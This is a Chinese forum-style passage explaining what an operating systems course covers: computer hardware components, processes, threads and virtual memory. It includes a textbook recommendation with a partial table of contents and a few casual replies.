D、链接,源程序需要用到一些库函数,则在链接阶段,连接器把需要用到的函数以.o文件的形式链接到可执行目标文件中。目标文件可以被加载到内存中执行。
计算机系统的硬件组成:总线、I/O设备、主存、处理器。
A、总线,一组电子管道,它携带字节信息在各个部件之间传递,总线通常被设计成传送定长的字节块,也就是字,字中的字节数是一个基本的系统参数,大多数系统是4字节,有的是8字节。
B、I/O设备,I/O设备是系统与外界联系的通道,I/O设备包括键盘、鼠标、显示器以及长期存储数据和程序的磁盘。I/O设备一般通过控制器或者适配器与总线相连,适配器和控制器的区别就是:控制器是置于I/O设备本身或者系统主板上面的芯片组,适配器是一块插在主板插槽上面的卡。
C、主存,临时存储设备,处理器执行程序时,主存存储程序和程序处理的数据,从物理上面讲,主存是动态随机读取存储器,从逻辑上讲,主存是线性的字节数组,每个字节都有唯一的地址,它们的地址是从零开始的。
D、处理器,中央处理单元简称为处理器,它是解释或者执行存储在主存中的指令的引擎,处理器的核心是一个字长的存储设备(或寄存器,寄存器是CPU里的存储单元,与CPU离得近,所以CPU在运算时通常都会用寄存器当中转站),也称作程序计数器(PC),任何时候PC都指向主存中某条机器指令(即存储指令的地址)。PC从主存中读取指令,解释并且执行指令,然后更新PC指向下一条指令。
运行速度最快的就是寄存器,因为寄存器是属于CPU内部的元器件,我们所说的运行速度是针对于其他元件于CPU交换数据的快慢来定义的,就是因为寄存器在CPU内部,所以他的速度最快。
在处理器和又大又慢的存储设备之间插入一个又快又小的存储设备已经成为一种趋势,这种插入的设备叫做高速缓存,一种叫做静态访问存储器的硬件技术,比较新比较强大的操作系统有三级高速缓存:L1、L2、L3。
操作系统管理硬件:
A、防止硬件被失控的应用程序滥用。
B、向应用程序提供简单一致的机制控制复杂又大相径庭的低级硬件设备。
操作系统通过几个抽象的概念来实现上述的两个功能:
A、文件,指I/O设备。
B、虚拟存储器,指主存和文件。
C、进程,指处理器和虚拟存储器。
进程,操作系统对正在运行的程序的一种抽象,一个系统可以运行多个进程,CPU好像并发的处理多个进程,这是通过CPU在进程之间切换来是实现的,操作系统这种交错执行的机制叫做上下文切换,操作系统保持跟踪进程运行所需的全部状态信息,这种状态就是上下文。当操作系统要从一个进程切换到另外一个进程的时候,就要进行上下文切换,保存当前进程的上下文,恢复新进程的上下文,把控制权转交给新进程。
线程,一个进程由多个称为线程的单元组成,每个线程都运行在进程的上下文中,并且共享进程的代码和全局数据。因为多线程更容易共享数据,且线程比进程更加高效,所以一般在多处理器的时候,多线程也是一种更快的处理办法。
虚拟存储器,一种抽象概念,它为每一个进程提供一个假象,每个进程都独占地使用主存,每个进程看到的存储器的空间都是一致的,称作虚拟地址空间。
注:计算机操作系统学的内容结尾系统性文化知识。是实际应用中计算机实践操作的基础。
主要内容包括操作系统用户界面、进程与线程管理、处理机管理、内存管理、文件系统与设备管理等基本原理及Linux和Windows两个主流操作系统的内核介绍。
你在图书网站随便搜本书,看看目录会明晰一下讲的内容。
一般学校老师都讲得纯理论。计算机操作系统不是教你怎么用Linux和Windows。而是告诉你他们底层的工作原理。
给你介绍本比较经典的书
计算机操作系统
作 者:汤子瀛 梁红兵 汤小丹著
出 版 社:西安电子科技大学出版社
出版日期:2007-05
目录如下
第一章??操作系统引论
1.?1??操作系统的目标和作用
1.?1.?1??操作系统的目标
1.?1.?2??操作系统的作用
1.?1.?3??推动操作系统发展的主要动力
1.?2??操作系统的发展过程
1.?2.?1??无操作系统的计算机系统
1.?2.?2??单道批处理系统
1.?2.?3??多道批处理系统
1.?2.?4??分时系统
1.?2.?5??实时系统
1.?3??操作系统的基本特性
1.?3.?1??并发(concunence)
1.?3.?2??共享(sharing)
1.?3.?3??虚拟(virtual)
1.?3.?4??异步性(asynchronism)
1.?4??操作系统的主要功能
1.?4.?1??处理机管理功能
1.?4.?2??存储器管理功能
1.?4.?3??设备管理功能
1.?4.?4??文件管理功能
1.?4.?5??用户接口
1.?5??操作系统的结构设计
1.?5.?1??软件工程的基本概念
1.?5.?2??传统的操作系统结构
1.?5.?3??微内核os结构
习题
第二章??进程管理
2.?1??进程的基本概念
2.?1.?1??程序的顺序执行及其特征
2.?1.?2??前趋图
2.?1.?3??程序的并发执行及其特征
2.?1.?4??进程的特征与状态
2.?1.?5??进程控制块
2.?2??进程控制
2.?2.?1??进程的创建
2.?2.?2??进程的终止
2.?2.?3??进程的阻塞与唤醒
2.?2.?4??进程的挂起与激活
2.?3??进程同步
2.?3.?1??进程同步的基本概念
2.?3.?2??信号量机制
2.?3.?3??信号量的应用
2.?4??经典进程的同步问题
2.?4.?1??生产者一消费者问题
2.?4.?2??哲学家进餐问题
2.?4.?3??读者一写者问题
2.?5??管程机制
2.?5.?1??管程的基本概念
2.?5.?2??利用管程解决生产者一消费者问题
2.?6??进程通信
2.?6.?1??进程通信的类型
2.?6.?2??消息传递通信的实现方法
2.?6.?3??消息传递系统实现中的若干问题
2.?6.?4??消息缓冲队列通信机制
2.?7??线程
楼上正解!!
哈哈~~~
操作系统(OS)学的基本上都比较低层了,大致就是在计算机硬件上上搭载一个平台,并且给予上层接口,使上层的软件可以操作计算机~~
操作系统存在广泛性,从小型机到大型机使用的系统都是不同的,微机上常见的OS诸如Linux,Mac OS X,Windows,DOS,Solaris,BSD,OS/2等,一般中型机以上的就都是运行Unix或者类Unix系统了~~
目前Top500的机子里大多数使用的都是Linux系统~~
包括操作系统用户界面、进程与线程管理、处理机管理、内存管理、文件系统与设备管理等基本原理及Linux和Windows两个主流操作系统的内核介绍。
计算机操作系统的特征你们知道吗?